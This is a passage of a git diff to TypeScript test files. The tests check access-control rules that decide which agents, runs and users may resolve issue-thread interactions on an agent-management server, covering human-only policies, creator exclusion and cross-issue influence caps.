       payload: { version: 1, prompt: "Approve a different operation?" },
@@ -1792,7 +2094,7 @@ describe.sequential("issue thread interaction routes", () => {
       type: "agent",
       agentId: ASSIGNEE_AGENT_ID,
       companyId: "company-1",
-      runId: "run-2",
+      runId: RUN_2,
     });
 
     const res = await request(app)
@@ -1800,7 +2102,10 @@ describe.sequential("issue thread interaction routes", () => {
       .send({});
 
     expect(res.status).toBe(403);
-    expect(res.body).toEqual({ error: "This issue-thread interaction is board-only" });
+    expect(res.body).toMatchObject({
+      error: "This issue-thread interaction is human-only",
+      code: "interaction_human_only",
+    });
     expect(mockInteractionService.acceptInteraction).not.toHaveBeenCalled();
   });
 
@@ -1811,23 +2116,23 @@ describe.sequential("issue thread interaction routes", () => {
       interaction: {
         addresseeAgentId: "agent-other-reviewer",
         createdByAgentId: CREATED_AGENT_ID,
-        sourceRunId: "run-1",
+        sourceRunId: RUN_1,
       },
-      error: "Only the addressed agent or a board user may resolve this issue-thread interaction",
+      code: "interaction_addressee_mismatch",
     },
     {
       name: "the agent created it",
       requesterAgentId: ASSIGNEE_AGENT_ID,
-      interaction: { createdByAgentId: ASSIGNEE_AGENT_ID, sourceRunId: "run-1" },
-      error: "Agents cannot resolve interactions they created",
+      interaction: { createdByAgentId: ASSIGNEE_AGENT_ID, sourceRunId: RUN_1 },
+      code: "interaction_creator_excluded",
     },
     {
       name: "the same run created it",
       requesterAgentId: CREATED_AGENT_ID,
-      interaction: { createdByAgentId: CREATED_AGENT_ID, sourceRunId: "run-2" },
-      error: "Agents cannot resolve interactions created by the same run",
+      interaction: { createdByAgentId: CREATED_AGENT_ID, sourceRunId: RUN_2 },
+      code: "interaction_creator_excluded",
     },
-  ])("rejects an agent review verdict when $name", async ({ interaction, error, requesterAgentId }) => {
+  ])("rejects an agent review verdict when $name", async ({ interaction, code, requesterAgentId }) => {
     mockReviewTransition.value = {
       actorType: "agent",
       actorId: requesterAgentId,
@@ -1835,7 +2140,7 @@ describe.sequential("issue thread interaction routes", () => {
     };
     mockIssueService.getById.mockResolvedValueOnce(createIssue({
       status: "in_review",
-      reviewPolicy: null,
+      reviewPolicy: "not_creator",
       createdByAgentId: requesterAgentId,
       createdByUserId: null,
     }));
@@ -1843,8 +2148,8 @@ describe.sequential("issue thread interaction routes", () => {
       id: "interaction-agent-review-scope",
       kind: "request_confirmation",
       status: "pending",
-      requestedResolverPolicy: "board_only",
-      effectiveResolverPolicy: "board_only",
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
       payload: { version: 1, prompt: "Approve this review?" },
       ...interaction,
     });
@@ -1852,7 +2157,7 @@ describe.sequential("issue thread interaction routes", () => {
       type: "agent",
       agentId: ASSIGNEE_AGENT_ID,
       companyId: "company-1",
-      runId: "run-2",
+      runId: RUN_2,
     });
 
     const res = await request(app)
@@ -1860,7 +2165,7 @@ describe.sequential("issue thread interaction routes", () => {
       .send({});
 
     expect(res.status).toBe(403);
-    expect(res.body).toEqual({ error });
+    expect(res.body).toMatchObject({ code });
     expect(mockInteractionService.acceptInteraction).not.toHaveBeenCalled();
   });
 
@@ -1881,16 +2186,16 @@ describe.sequential("issue thread interaction routes", () => {
       kind: "request_confirmation",
       status: "pending",
       createdByAgentId: CREATED_AGENT_ID,
-      sourceRunId: "run-1",
-      requestedResolverPolicy: "board_only",
-      effectiveResolverPolicy: "board_only",
+      sourceRunId: RUN_1,
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
       payload: { version: 1, prompt: "Approve this review?" },
     });
     const app = await createApp({
       type: "agent",
       agentId: ASSIGNEE_AGENT_ID,
       companyId: "company-1",
-      runId: "run-2",
+      runId: RUN_2,
     });
 
     const res = await request(app)
@@ -1899,15 +2204,116 @@ describe.sequential("issue thread interaction routes", () => {
 
     expect(res.status).toBe(403);
     expect(res.body).toMatchObject({
-      error: expect.stringContaining("only an authenticated user"),
+      error: "This issue-thread interaction is human-only",
+      code: "interaction_human_only",
+      details: { code: "interaction_human_only", effectiveResolverPolicy: "human_only" },
+    });
+    expect(mockInteractionService.acceptInteraction).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    { action: "accept", body: {} },
+    { action: "reject", body: { reason: "Needs changes" } },
+  ])("rejects an agent $action verdict under human_only when a user review transition omitted the interaction binding", async ({ action, body }) => {
+    mockReviewTransition.value = {
+      actorType: "user",
+      actorId: "local-board",
+      details: { status: "in_review", _previous: { status: "in_progress" } },
+    };
+    mockIssueService.getById.mockResolvedValueOnce(createIssue({
+      status: "in_review",
+      reviewPolicy: "human_only",
+      createdByAgentId: null,
+      createdByUserId: "local-board",
+    }));
+    mockInteractionService.getForIssue.mockResolvedValueOnce({
+      id: "interaction-user-review-unbound",
+      kind: "request_confirmation",
+      status: "pending",
+      createdByAgentId: null,
+      createdByUserId: "local-board",
+      sourceRunId: null,
+      requestedResolverPolicy: "board_or_agents",
+      effectiveResolverPolicy: "board_or_agents",
+      payload: { version: 1, prompt: "Approve this review?" },
+    });
+    const app = await createApp({
+      type: "agent",
+      agentId: ASSIGNEE_AGENT_ID,
+      companyId: "company-1",
+      runId: RUN_2,
+    });
+
+    const res = await request(app)
+      .post(`/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-user-review-unbound/${action}`)
+      .send(body);
+
+    expect(res.status).toBe(403);
+    expect(res.body).toMatchObject({
       details: {
         code: "review_policy_denied",
         policy: "human_only",
-        allowedActor: "authenticated_user_with_issue_write_access",
-        remediation: expect.stringContaining("Have an authenticated user"),
       },
     });
     expect(mockInteractionService.acceptInteraction).not.toHaveBeenCalled();
+    expect(mockInteractionService.rejectInteraction).not.toHaveBeenCalled();
+  });
+
+  it("allows an unrelated agent-resolvable confirmation under a restrictive issue review policy", async () => {
+    mockReviewTransition.value = {
+      actorType: "user",
+      actorId: "local-board",
+      details: { status: "in_review", _previous: { status: "in_progress" } },
+    };
+    mockIssueService.getById.mockResolvedValueOnce(createIssue({
+      status: "in_review",
+      reviewPolicy: "human_only",
+      createdByAgentId: null,
+      createdByUserId: "local-board",
+    }));
+    mockInteractionService.getForIssue.mockResolvedValueOnce({
+      id: "interaction-unrelated",
+      kind: "request_confirmation",
+      status: "pending",
+      createdByAgentId: UNRELATED_AGENT_ID,
+      createdByUserId: null,
+      sourceRunId: "run-1",
+      requestedResolverPolicy: "board_or_agents",
+      effectiveResolverPolicy: "board_or_agents",
+      payload: { version: 1, prompt: "Confirm an independent action?" },
+    });
+    mockInteractionService.acceptInteraction.mockResolvedValueOnce({
+      interaction: {
+        id: "interaction-unrelated",
+        companyId: "company-1",
+        issueId: "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
+        kind: "request_confirmation",
+        status: "accepted",
+        continuationPolicy: "none",
+        idempotencyKey: null,
+        sourceCommentId: null,
+        sourceRunId: "run-1",
+        payload: { version: 1, prompt: "Confirm an independent action?" },
+        result: { version: 1, outcome: "accepted" },
+        createdAt: "2026-04-20T12:00:00.000Z",
+        updatedAt: "2026-04-20T12:05:00.000Z",
+        resolvedAt: "2026-04-20T12:05:00.000Z",
+      },
+      createdIssues: [],
+    });
+    const app = await createApp({
+      type: "agent",
+      agentId: ASSIGNEE_AGENT_ID,
+      companyId: "company-1",
+      runId: RUN_2,
+    });
+
+    const res = await request(app)
+      .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-unrelated/accept")
+      .send({});
+
+    expect(res.status, JSON.stringify(res.body)).toBe(200);
+    expect(mockInteractionService.acceptInteraction).toHaveBeenCalled();
   });
 
   it("allows only the addressed agent or board to resolve an addressed interaction", async () => {
@@ -1916,7 +2322,7 @@ describe.sequential("issue thread interaction routes", () => {
       kind: "ask_user_questions",
       createdByAgentId: CREATED_AGENT_ID,
       addresseeAgentId: ASSIGNEE_AGENT_ID,
-      sourceRunId: "run-1",
+      sourceRunId: RUN_1,
       requestedResolverPolicy: "board_or_agents",
       effectiveResolverPolicy: "board_or_agents",
       payload: { version: 1, questions: [] },
@@ -1934,7 +2340,7 @@ describe.sequential("issue thread interaction routes", () => {
       type: "agent",
       agentId: ASSIGNEE_AGENT_ID,
       companyId: "company-1",
-      runId: "run-2",
+      runId: RUN_2,
     });
     const addressee = await request(addresseeApp)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-addressed/respond")
@@ -1949,7 +2355,7 @@ describe.sequential("issue thread interaction routes", () => {
       type: "agent",
       agentId: UNRELATED_AGENT_ID,
       companyId: "company-1",
-      runId: "run-3",
+      runId: RUN_3,
     });
     const unrelated = await request(unrelatedApp)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-addressed/respond")
@@ -1964,7 +2370,17 @@ describe.sequential("issue thread interaction routes", () => {
     expect(board.status).toBe(200);
   });
 
-  it("blocks creator-agent self-resolution", async () => {
+  it("preserves creator exclusion for legacy board_or_agents rows", async () => {
+    mockInteractionService.getForIssue.mockResolvedValueOnce({
+      id: "interaction-2",
+      kind: "ask_user_questions",
+      createdByAgentId: CREATED_AGENT_ID,
+      sourceRunId: RUN_1,
+      requestedResolverPolicy: "board_or_agents",
+      effectiveResolverPolicy: "board_or_agents",
+      resolverPolicyProvenance: "legacy_inherited_restriction",
+      payload: { version: 1, questions: [] },
+    });
     mockIssueService.getById.mockResolvedValueOnce(createIssue({
       status: "todo",
       assigneeAgentId: CREATED_AGENT_ID,
@@ -1973,24 +2389,137 @@ describe.sequential("issue thread interaction routes", () => {
       type: "agent",
       agentId: CREATED_AGENT_ID,
       companyId: "company-1",
-      runId: "run-9",
+      runId: RUN_9,
     });
     const res = await request(app)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-2/respond")
       .send({ answers: [] });
     expect(res.status).toBe(403);
-    expect(res.body.error).toContain("created");
+    expect(res.body).toMatchObject({ code: "interaction_creator_excluded" });
     expect(mockInteractionService.answerQuestions).not.toHaveBeenCalled();
   });
 
-  it("blocks same-run resolution and requires a resolver run id", async () => {
+  it("allows the creator agent and creating run under anyone", async () => {
+    mockInteractionService.getForIssue.mockResolvedValueOnce({
+      id: "interaction-open",
+      kind: "ask_user_questions",
+      createdByAgentId: CREATED_AGENT_ID,
+      sourceRunId: RUN_9,
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
+      resolverPolicyProvenance: "inherited",
+      effectiveResolverPolicySource: "requested",
+      payload: { version: 1, questions: [] },
+    });
+    mockIssueService.getById.mockResolvedValueOnce(createIssue({
+      status: "todo",
+      assigneeAgentId: CREATED_AGENT_ID,
+    }));
+    const app = await createApp({
+      type: "agent",
+      agentId: CREATED_AGENT_ID,
+      companyId: "company-1",
+      runId: RUN_9,
+    });
+
+    const res = await request(app)
+      .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-open/respond")
+      .send({ answers: [] });
+
+    expect(res.status).toBe(200);
+    expect(mockInteractionService.answerQuestions).toHaveBeenCalledWith(
+      expect.anything(),
+      "interaction-open",
+      expect.anything(),
+      expect.objectContaining({ agentId: CREATED_AGENT_ID, runId: RUN_9 }),
+    );
+  });
+
+  it.each([
+    {
+      kind: "suggest_tasks",
+      action: "accept",
+      body: { selectedClientKeys: ["task-1"] },
+      payload: { version: 1, tasks: [{ clientKey: "task-1", title: "Task" }] },
+      service: "acceptInteraction",
+    },
+    {
+      kind: "ask_user_questions",
+      action: "respond",
+      body: { answers: [] },
+      payload: { version: 1, questions: [] },
+      service: "answerQuestions",
+    },
+    {
+      kind: "request_confirmation",
+      action: "accept",
+      body: {},
+      payload: { version: 1, prompt: "Continue?" },
+      service: "acceptInteraction",
+    },
+    {
+      kind: "request_checkbox_confirmation",
+      action: "accept",
+      body: { selectedOptionIds: [] },
+      payload: { version: 1, prompt: "Select", options: [] },
+      service: "acceptInteraction",
+    },
+    {
+      kind: "request_item_verdicts",
+      action: "verdicts",
+      body: { verdicts: [{ id: "item-1", verdict: "approve" }] },
+      payload: {
+        version: 1,
+        prompt: "Review",
+        items: [{ id: "item-1", label: "Item" }],
+        verdicts: ["approve", "reject"],
+      },
+      service: "submitItemVerdicts",
+    },
+  ])("lets the creator and same run resolve $kind through anyone", async ({
+    kind,
+    action,
+    body,
+    payload,
+    service,
+  }) => {
+    mockInteractionService.getForIssue.mockResolvedValueOnce({
+      id: `interaction-${kind}`,
+      kind,
+      status: "pending",
+      createdByAgentId: CREATED_AGENT_ID,
+      sourceRunId: RUN_9,
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
+      payload,
+    });
+    mockIssueService.getById.mockResolvedValueOnce(createIssue({
+      status: "todo",
+      assigneeAgentId: CREATED_AGENT_ID,
+    }));
+    const app = await createApp({
+      type: "agent",
+      agentId: CREATED_AGENT_ID,
+      companyId: "company-1",
+      runId: RUN_9,
+    });
+
+    const res = await request(app)
+      .post(`/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-${kind}/${action}`)
+      .send(body);
+
+    expect(res.status).toBe(200);
+    expect(mockInteractionService[service as keyof typeof mockInteractionService]).toHaveBeenCalled();
+  });
+
+  it("enforces same-run exclusion under not_creator and requires a resolver run id", async () => {
     mockInteractionService.getForIssue.mockResolvedValueOnce({
       id: "interaction-2",
       kind: "ask_user_questions",
       createdByAgentId: CREATED_AGENT_ID,
-      sourceRunId: "run-2",
-      requestedResolverPolicy: "board_or_agents",
-      effectiveResolverPolicy: "board_or_agents",
+      sourceRunId: RUN_2,
+      requestedResolverPolicy: "not_creator",
+      effectiveResolverPolicy: "not_creator",
       payload: { version: 1, questions: [] },
     });
     mockIssueService.getById.mockResolvedValueOnce(createIssue({ status: "todo" }));
@@ -1998,13 +2527,13 @@ describe.sequential("issue thread interaction routes", () => {
       type: "agent",
       agentId: ASSIGNEE_AGENT_ID,
       companyId: "company-1",
-      runId: "run-2",
+      runId: RUN_2,
     });
     const sameRun = await request(sameRunApp)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-2/respond")
       .send({ answers: [] });
     expect(sameRun.status).toBe(403);
-    expect(sameRun.body.error).toContain("same run");
+    expect(sameRun.body).toMatchObject({ code: "interaction_creator_excluded" });
 
     mockIssueService.getById.mockResolvedValueOnce(createIssue({ status: "todo" }));
     const missingRunApp = await createApp({
@@ -2015,16 +2544,146 @@ describe.sequential("issue thread interaction routes", () => {
     const missingRun = await request(missingRunApp)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-2/respond")
       .send({ answers: [] });
-    expect(missingRun.status).toBe(401);
+    expect(missingRun.status).toBe(422);
+    expect(missingRun.body).toMatchObject({ code: "interaction_run_attribution_required" });
   });
 
-  it("blocks board-only and tool-action interactions for agents", async () => {
+  it("rejects an invalid run attribution before resolving or waking", async () => {
+    mockInteractionService.getForIssue.mockResolvedValueOnce({
+      id: "interaction-invalid-run",
+      kind: "ask_user_questions",
+      status: "pending",
+      createdByAgentId: CREATED_AGENT_ID,
+      sourceRunId: RUN_1,
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
+      payload: { version: 1, questions: [] },
+    });
+    const app = await createApp({
+      type: "agent",
+      agentId: ASSIGNEE_AGENT_ID,
+      companyId: "company-1",
+      runId: RUN_INVALID,
+    });
+    mockRunAttribution.value = null;
+
+    const res = await request(app)
+      .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-invalid-run/respond")
+      .send({ answers: [] });
+
+    expect(res.status).toBe(422);
+    expect(res.body).toMatchObject({ code: "interaction_run_attribution_required" });
+    expect(mockInteractionService.answerQuestions).not.toHaveBeenCalled();
+    expect(mockHeartbeatService.wakeup).not.toHaveBeenCalled();
+    expect(mockLogActivity).not.toHaveBeenCalled();
+  });
+
+  it("hides cross-company interactions before resolver evaluation", async () => {
+    mockAccessDecide.mockResolvedValue({
+      allowed: false,
+      action: "issue:read",
+      reason: "deny_company_boundary",
+      explanation: "Denied by company boundary.",
+    });
+    const app = await createApp({
+      type: "agent",
+      agentId: ASSIGNEE_AGENT_ID,
+      companyId: "company-2",
+      runId: RUN_CROSS_COMPANY,
+    });
+
+    const res = await request(app)
+      .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-2/respond")
+      .send({ answers: [] });
+
+    expect(res.status).toBe(404);
+    expect(mockInteractionService.getForIssue).not.toHaveBeenCalled();
+    expect(mockInteractionService.answerQuestions).not.toHaveBeenCalled();
+  });
+
+  it("contains task-bridge resolvers at the ordinary issue mutation boundary", async () => {
+    mockAccessDecide.mockResolvedValue({
+      allowed: false,
+      action: "issue:mutate",
+      reason: "deny_task_bridge_scope",
+      explanation: "Denied by task bridge scope.",
+    });
+    const app = await createApp({
+      type: "agent",
+      agentId: ASSIGNEE_AGENT_ID,
+      companyId: "company-1",
+      runId: RUN_TASK_BRIDGE,
+      source: "agent_key",
+      keyId: "bridge-key",
+      keyScope: { kind: "task_bridge" },
+    });
+
+    const res = await request(app)
+      .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-2/respond")
+      .send({ answers: [] });
+
+    expect(res.status).toBe(403);
+    expect(res.body).toMatchObject({ code: "interaction_scope_denied" });
+    expect(mockInteractionService.answerQuestions).not.toHaveBeenCalled();
+    expect(mockHeartbeatService.wakeup).not.toHaveBeenCalled();
+  });
+
+  it("reauthorizes suggested-task effects before resolving the interaction", async () => {
+    mockInteractionService.getForIssue.mockResolvedValueOnce({
+      id: "interaction-suggest-assigned",
+      kind: "suggest_tasks",
+      status: "pending",
+      createdByAgentId: CREATED_AGENT_ID,
+      sourceRunId: RUN_1,
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
+      payload: {
+        version: 1,
+        tasks: [{
+          clientKey: "assigned",
+          title: "Assigned child",
+          assigneeAgentId: UNRELATED_AGENT_ID,
+        }],
+      },
+    });
+    mockAccessDecide.mockImplementation(async (input: { action?: string }) => input.action === "tasks:assign"
+      ? {
+          allowed: false,
+          action: input.action,
+          reason: "deny_assignment",
+          explanation: "Task assignment is not authorized.",
+        }
+      : {
+          allowed: true,
+          action: input.action,
+          reason: "allow_explicit_grant",
+          explanation: "Allowed by test grant.",
+        });
+    const app = await createApp({
+      type: "agent",
+      agentId: ASSIGNEE_AGENT_ID,
+      companyId: "company-1",
+      runId: RUN_2,
+    });
+
+    const res = await request(app)
+      .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-suggest-assigned/accept")
+      .send({ selectedClientKeys: ["assigned"] });
+
+    expect(res.status).toBe(403);
+    expect(res.body).toMatchObject({ code: "interaction_governed_action_denied" });
+    expect(mockInteractionService.acceptInteraction).not.toHaveBeenCalled();
+    expect(mockHeartbeatService.wakeup).not.toHaveBeenCalled();
+    expect(mockLogActivity).not.toHaveBeenCalled();
+  });
+
+  it("blocks human-only and tool-action interactions for agents", async () => {
     mockInteractionService.getForIssue
       .mockResolvedValueOnce({
         id: "interaction-1",
         kind: "request_confirmation",
         createdByAgentId: CREATED_AGENT_ID,
-        sourceRunId: "run-1",
+        sourceRunId: RUN_1,
         requestedResolverPolicy: "board_or_agents",
         effectiveResolverPolicy: "board_only",
         payload: { version: 1, prompt: "Proceed?" },
@@ -2033,7 +2692,7 @@ describe.sequential("issue thread interaction routes", () => {
         id: "interaction-tool",
         kind: "request_confirmation",
         createdByAgentId: CREATED_AGENT_ID,
-        sourceRunId: "run-1",
+        sourceRunId: RUN_1,
         requestedResolverPolicy: "board_or_agents",
         effectiveResolverPolicy: "board_or_agents",
         payload: { version: 1, prompt: "Run?", toolAction: { actionRequestId: "action-1" } },
@@ -2045,29 +2704,29 @@ describe.sequential("issue thread interaction routes", () => {
       type: "agent",
       agentId: ASSIGNEE_AGENT_ID,
       companyId: "company-1",
-      runId: "run-2",
+      runId: RUN_2,
     });
 
     const capped = await request(app)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-1/accept")
       .send({});
     expect(capped.status).toBe(403);
-    expect(capped.body.error).toContain("board-only");
+    expect(capped.body.error).toContain("human-only");
 
     const toolAction = await request(app)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-tool/accept")
       .send({});
     expect(toolAction.status).toBe(403);
-    expect(toolAction.body.error).toContain("Tool-action");
+    expect(toolAction.body).toMatchObject({ code: "interaction_governed_action_denied" });
   });
 
-  it("explicitly blocks watchdog-scoped and low-trust resolver agents", async () => {
+  it("lets watchdog-scoped agents use the ordinary resolver and contains low-trust agents", async () => {
     mockIssueService.getById.mockResolvedValue(createIssue({ status: "todo" }));
     const actor = {
       type: "agent",
       agentId: ASSIGNEE_AGENT_ID,
       companyId: "company-1",
-      runId: "run-2",
+      runId: RUN_2,
     };
 
     mockResolveTaskWatchdogMutationScope.mockResolvedValueOnce({
@@ -2082,8 +2741,8 @@ describe.sequential("issue thread interaction routes", () => {
     const watchdog = await request(watchdogApp)
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-2/respond")
       .send({ answers: [] });
-    expect(watchdog.status).toBe(403);
-    expect(watchdog.body.error).toContain("watchdog");
+    expect(watchdog.status).toBe(200);
+    expect(mockInteractionService.answerQuestions).toHaveBeenCalledTimes(1);
 
     mockResolveCoreTrustPreset.mockReturnValueOnce({ kind: "low_trust_review" });
     const lowTrustApp = await createApp(actor);
@@ -2091,7 +2750,172 @@ describe.sequential("issue thread interaction routes", () => {
       .post("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa/interactions/interaction-2/respond")
       .send({ answers: [] });
     expect(lowTrust.status).toBe(403);
-    expect(lowTrust.body.error).toContain("Low-trust");
-    expect(mockInteractionService.answerQuestions).not.toHaveBeenCalled();
+    expect(lowTrust.body).toMatchObject({ code: "interaction_scope_denied" });
+    expect(mockInteractionService.answerQuestions).toHaveBeenCalledTimes(1);
+  });
+
+  const CROSS_ISSUE_RESOLUTION_ROUTES = [
+    {
+      route: "accept",
+      kind: "request_confirmation",
+      body: {},
+      payload: { version: 1, prompt: "Proceed?" },
+      service: "acceptInteraction",
+    },
+    {
+      route: "reject",
+      kind: "request_confirmation",
+      body: { reason: "Not now" },
+      payload: { version: 1, prompt: "Proceed?" },
+      service: "rejectInteraction",
+    },
+    {
+      route: "respond",
+      kind: "ask_user_questions",
+      body: { answers: [] },
+      payload: { version: 1, questions: [] },
+      service: "answerQuestions",
+    },
+    {
+      route: "verdicts",
+      kind: "request_item_verdicts",
+      body: { verdicts: [{ id: "item-1", verdict: "approve" }] },
+      payload: {
+        version: 1,
+        prompt: "Review",
+        items: [{ id: "item-1", label: "Item" }],
+        verdicts: ["approve", "reject"],
+      },
+      service: "submitItemVerdicts",
+    },
+  ] as const;
+
+  function stubCrossIssueResolution(
+    { kind, payload }: { kind: string; payload: Record<string, unknown> },
+  ) {
+    // The run authenticated below is working OTHER_ISSUE_ID, so resolving this
+    // card is a cross-issue mutation even though the audience is open.
+    mockIssueService.getById.mockResolvedValueOnce(createIssue({ status: "todo" }));
+    mockInteractionService.getForIssue.mockResolvedValueOnce({
+      id: `interaction-cross-${kind}`,
+      kind,
+      status: "pending",
+      createdByAgentId: CREATED_AGENT_ID,
+      sourceRunId: RUN_1,
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
+      payload,
+    });
+  }
+
+  it.each(CROSS_ISSUE_RESOLUTION_ROUTES)(
+    "fails a capped run closed on cross-issue $route with no interaction effect",
+    async ({ route, kind, body, payload, service }) => {
+      stubCrossIssueResolution({ kind, payload });
+      mockCrossIssueInfluence.sourceIssueId = OTHER_ISSUE_ID;
+      mockCrossIssueInfluence.priorCount = 20;
+      const app = await createApp({
+        type: "agent",
+        agentId: ASSIGNEE_AGENT_ID,
+        companyId: "company-1",
+        runId: RUN_2,
+      });
+
+      const res = await request(app)
+        .post(`/api/issues/${ISSUE_ID}/interactions/interaction-cross-${kind}/${route}`)
+        .send(body);
+
+      expect(res.status).toBe(429);
+      expect(res.body.details).toMatchObject({
+        code: "cross_issue_influence_cap_exceeded",
+        cap: 20,
+        count: 21,
+        mode: "enforce",
+      });
+      // The refusal names the boundary and the way forward without naming the
+      // run's own inaccessible source issue or the resolver policy.
+      expect(res.body.error).toContain("Try this:");
+      expect(res.body.error).not.toContain(OTHER_ISSUE_ID);
+      expect(res.body.details.code).not.toContain("resolver");
+      // No terminal mutation, activity receipt, continuation, or wake.
+      expect(mockInteractionService[service]).not.toHaveBeenCalled();
+      expect(mockLogActivity).not.toHaveBeenCalled();
+      expect(mockHeartbeatService.wakeup).not.toHaveBeenCalled();
+      expect(mockCrossIssueInfluence.inserted).toEqual([
+        expect.objectContaining({
+          action: "issue.cross_issue_influence_cap_rejected",
+          details: expect.objectContaining({ kind: "interaction_resolution", allowed: false }),
+        }),
+      ]);
+    },
+  );
+
+  it.each(CROSS_ISSUE_RESOLUTION_ROUTES)(
+    "charges one shared cross-issue observation for an allowed $route",
+    async ({ route, kind, body, payload, service }) => {
+      stubCrossIssueResolution({ kind, payload });
+      mockCrossIssueInfluence.sourceIssueId = OTHER_ISSUE_ID;
+      const app = await createApp({
+        type: "agent",
+        agentId: ASSIGNEE_AGENT_ID,
+        companyId: "company-1",
+        runId: RUN_2,
+      });
+
+      const res = await request(app)
+        .post(`/api/issues/${ISSUE_ID}/interactions/interaction-cross-${kind}/${route}`)
+        .send(body);
+
+      expect(res.status).toBe(200);
+      expect(mockInteractionService[service]).toHaveBeenCalledTimes(1);
+      expect(mockCrossIssueInfluence.inserted).toEqual([
+        expect.objectContaining({
+          action: "issue.cross_issue_influence_observed",
+          entityId: ISSUE_ID,
+          details: expect.objectContaining({
+            kind: "interaction_resolution",
+            sourceIssueId: OTHER_ISSUE_ID,
+            targetIssueId: ISSUE_ID,
+            count: 1,
+          }),
+        }),
+      ]);
+    },
+  );
+
+  it("does not charge a same-issue resolution even past the cap", async () => {
+    stubCrossIssueResolution({ kind: "ask_user_questions", payload: { version: 1, questions: [] } });
+    mockCrossIssueInfluence.sourceIssueId = ISSUE_ID;
+    mockCrossIssueInfluence.priorCount = 20;
+    const app = await createApp({
+      type: "agent",
+      agentId: ASSIGNEE_AGENT_ID,
+      companyId: "company-1",
+      runId: RUN_2,
+    });
+
+    const res = await request(app)
+      .post(`/api/issues/${ISSUE_ID}/interactions/interaction-cross-ask_user_questions/respond`)
+      .send({ answers: [] });
+
+    expect(res.status).toBe(200);
+    expect(mockInteractionService.answerQuestions).toHaveBeenCalledTimes(1);
+    expect(mockCrossIssueInfluence.inserted).toEqual([]);
+  });
+
+  it("leaves board resolutions outside the per-run counter", async () => {
+    stubCrossIssueResolution({ kind: "ask_user_questions", payload: { version: 1, questions: [] } });
+    mockCrossIssueInfluence.sourceIssueId = OTHER_ISSUE_ID;
+    mockCrossIssueInfluence.priorCount = 20;
+    const app = await createApp();
+
+    const res = await request(app)
+      .post(`/api/issues/${ISSUE_ID}/interactions/interaction-cross-ask_user_questions/respond`)
+      .send({ answers: [] });
+
+    expect(res.status).toBe(200);
+    expect(mockInteractionService.answerQuestions).toHaveBeenCalledTimes(1);
+    expect(mockDbTransaction).not.toHaveBeenCalled();
+    expect(mockCrossIssueInfluence.inserted).toEqual([]);
   });
 });
diff --git a/server/src/__tests__/issue-thread-interactions-service.test.ts b/server/src/__tests__/issue-thread-interactions-service.test.ts
index f01204f5dab..c083b5b2553 100644
--- a/server/src/__tests__/issue-thread-interactions-service.test.ts
+++ b/server/src/__tests__/issue-thread-interactions-service.test.ts
@@ -2,6 +2,7 @@ import { randomUUID } from "node:crypto";
 import { eq } from "drizzle-orm";
 import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
 import {
+  activityLog,
   agents,
   companies,
   createDb,
@@ -48,6 +49,7 @@ describeEmbeddedPostgres("issueThreadInteractionService", () => {
 
   afterEach(async () => {
     await db.delete(issueThreadInteractions);
+    await db.delete(activityLog);
     await db.delete(issueComments);
     await db.delete(issueDocuments);
     await db.delete(documentRevisions);
@@ -100,7 +102,28 @@ describeEmbeddedPostgres("issueThreadInteractionService", () => {
     return { companyId, goalId, issueId };
   }
 
-  it("persists addressees without allowing them to bypass board-only governance", async () => {
+  async function recordReviewTransition(args: {
+    companyId: string;
+    issueId: string;
+    interactionId: string;
+    actorId?: string;
+  }) {
+    await db.insert(activityLog).values({
+      companyId: args.companyId,
+      actorType: "user",
+      actorId: args.actorId ?? "local-board",
+      action: "issue.updated",
+      entityType: "issue",
+      entityId: args.issueId,
+      details: {
+        status: "in_review",
+        reviewInteractionId: args.interactionId,
+        _previous: { status: "in_progress" },
+      },
+    });
+  }
+
+  it("persists addressees without allowing them to bypass human-only governance", async () => {
     const { companyId, issueId } = await seedConfirmationIssue("Agent-addressed interaction");
     const creatorAgentId = randomUUID();
     const addresseeAgentId = randomUUID();
@@ -163,8 +186,10 @@ describeEmbeddedPostgres("issueThreadInteractionService", () => {
     );
     expect(created).toMatchObject({
       addresseeAgentId,
-      requestedResolverPolicy: "board_or_agents",
-      effectiveResolverPolicy: "board_or_agents",
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
+      resolverPolicyProvenance: "explicit",
+      effectiveResolverPolicySource: "requested",
     });
 
